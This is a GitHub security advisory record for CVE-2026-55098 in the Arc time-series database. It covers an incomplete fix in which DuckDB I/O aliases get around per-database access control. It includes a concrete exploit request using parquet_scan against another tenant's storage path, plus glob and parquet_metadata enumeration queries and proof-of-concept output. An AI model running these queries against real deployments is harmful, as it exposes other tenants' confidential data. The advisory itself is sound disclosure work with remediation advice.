{"schema_version":"1.9.2","id":"GHSA-93cm-2v4m-c56c","published":"2026-11-04T17:02:37Z","modified":"2026-11-04T17:15:58.450328068Z","aliases":["CVE-2026-55098"],"summary":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735","details":"### Summary\n\nThe fix for CVE-2026-47735 (released 2026.06.1) is incomplete. It added a DuckDB sandbox (`SET GLOBAL allowed_directories=[<storage root>]; SET GLOBAL enable_external_access=false`) and an Arc SQL-layer denylist of the **literal** functions `read_parquet(` and `arc_partition_agg(`. The sandbox correctly blocks reads **outside** the storage root (OS files, `http://` SSRF), but it allowlists the **entire multi-tenant storage root**, and the SQL denylist still misses the rest of the DuckDB I/O family the original advisory enumerated. As a result, any authenticated token — including one with `permissions: []` — can read or enumerate **every other database's data** within the deployment, defeating RBAC.\n\nVerified at HEAD `c08b892` (`v26.06.1-36`, includes 26.06.2). Confirmed still live; no later commit blocks these functions.\n\n### Root cause (three composing gaps)\n\n1. **Sandbox scope is the whole storage root, not the tenant.** `internal/database/sandbox.go:111` allowlists `cfg.LocalStorageRoot` (default `storage.local_path=./data/arc`). Every database lives under it — `internal/storage/util.go:33` `GetStoragePath` => `<base>/<database>/<measurement>/**/*.parquet`. Any in-root path is sandbox-permitted regardless of which database owns it.\n2. **RBAC never inspects table-valued functions.** `checkQueryPermissions` (`internal/api/query.go:1181`) extracts table refs via `extractTableReferences`, which skips any name followed by `(` as a function (`internal/api/query.go:1116`); with zero refs it returns allow (`:1213-1216`). So `parquet_scan(...)`, `glob(...)`, `parquet_metadata(...)`, `read_blob(...)`, `read_csv_auto(...)` are never authorization-checked.\n3. **The SQL denylist matches only the literal spelling.** `userSQLReadParquetPattern` (`internal/api/query.go:2087`) is `\\bread_parquet\\s*\\(`. DuckDB's documented alias **`parquet_scan(`** is not matched, and `read_csv_auto`/`read_json`/`read_text`/`read_blob`/`glob`/`parquet_metadata`/`parquet_schema` are not blocked anywhere. The fix author documented this very threat at `internal/api/query.go:2061-2064` (“a user scoped to db1.m1 could read /data/db2/secrets/**/*.parquet”) but blocked only the literal `read_parquet(`.\n\n### Exploit (authenticated, any token incl. permissions:[])\n\n```\nPOST /api/v1/query\nAuthorization: Bearer <token>\nContent-Type: application/json\n{\"sql\": \"SELECT * FROM parquet_scan('./data/arc/<victim-db>/<measurement>/**/*.parquet')\"}\n```\n\n- `ValidateSQLRequest` passes (`parquet_scan(` is not `read_parquet(`, not a dangerous keyword, single statement).\n- `checkQueryPermissions` extracts 0 table refs (it is a function call) and allows.\n- `convertSQLToStoragePaths` finds no `read_parquet` literal and no bare `FROM measurement` to rewrite, so the query passes through unchanged.\n- DuckDB runs `parquet_scan('<root>/<victim-db>/...')`; the path is inside `allowed_directories`, so the other database's rows are returned.\n\n`glob('./data/arc/**/*')` enumerates every database/measurement/file; `parquet_metadata(...)`/`parquet_schema(...)` leak column names and per-column min/max value statistics; `read_blob(...)` returns raw file bytes. All operate within the allowlisted root.\n\n### Proof (poc/poc_sandbox_alias_bypass.py, poc/OUTPUT.txt)\n\nReproduces Arc's exact sandbox config (`allowed_directories=[<root>]`, `enable_external_access=false`) on DuckDB 1.5.x (Arc pins duckdb-go-bindings 1.5.1) with a victim parquet written under the root:\n\n```\n[BLOCKED ] read_blob OUTSIDE root            -> Permission Error: Cannot access file ...\n[EXECUTES] parquet_scan victim (read_parquet ALIAS) -> [('tenant-VICTIM-row', 42)]\n[EXECUTES] glob enumerate every db under root -> [('.../data/arc/victim-db/secrets/f.parquet',)]\n[EXECUTES] parquet_metadata victim           -> [('leaked','tenant-VICTIM-row','tenant-VICTIM-row'), ('v','42','42')]\n```\n\nThe sandbox blocks escape (as designed) but permits every in-root cross-database read.\n\n### Impact\n\nCross-database / cross-tenant confidential read by any authenticated principal, including a least-privileged (`permissions: []`) token, on RBAC-enabled deployments. This is the same RBAC-bypass impact the original advisory described for `read_parquet`, still reachable via the alias and the unblocked I/O family. (Arc's SQLite token DB `./data/arc.db` is a sibling of `./data/arc/` and is **not** in the allowlist, so it is not readable this way — the exposure is the time-series data of every database, plus its schema and value-range statistics.)\n\n### Remediation\n\nPer-request scope the sandbox to the requesting token's authorized database path(s): `allowed_directories = ['<base>/<authorized-db>/']`, so the file layer cannot cross the RBAC boundary regardless of which function is used. Alternatively, replace the function-name denylist with a strict allowlist of permitted table functions (alias-resolved, reject all others). A denylist of literal spellings is structurally fragile — this is the second alias/family miss after the original audit.","affected":[{"package":{"name":"github.com/basekick-labs/arc","ecosystem":"Go","purl":"pkg:golang/github.com/basekick-labs/arc"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260610131716-5dc8f53b70a3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-93cm-2v4m-c56c/GHSA-93cm-2v4m-c56c.json"}}],"references":[{"type":"WEB","url":"https://github.com/Basekick-Labs/arc/security/advisories/GHSA-93cm-2v4m-c56c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55098"},{"type":"WEB","url":"https://github.com/Basekick-Labs/arc/pull/495"},{"type":"WEB","url":"https://github.com/Basekick-Labs/arc/commit/5dc8f53b70a3871b16b0cebf328f07c578af7a45"},{"type":"PACKAGE","url":"https://github.com/Basekick-Labs/arc"},{"type":"WEB","url":"https://github.com/Basekick-Labs/arc/tree/v26.06.2"}],"database_specific":{"cwe_ids":["CWE-200","CWE-863"],"github_reviewed":true,"github_reviewed_at":"2026-11-04T17:02:37Z","nvd_published_at":"2026-10-30T20:17:09Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}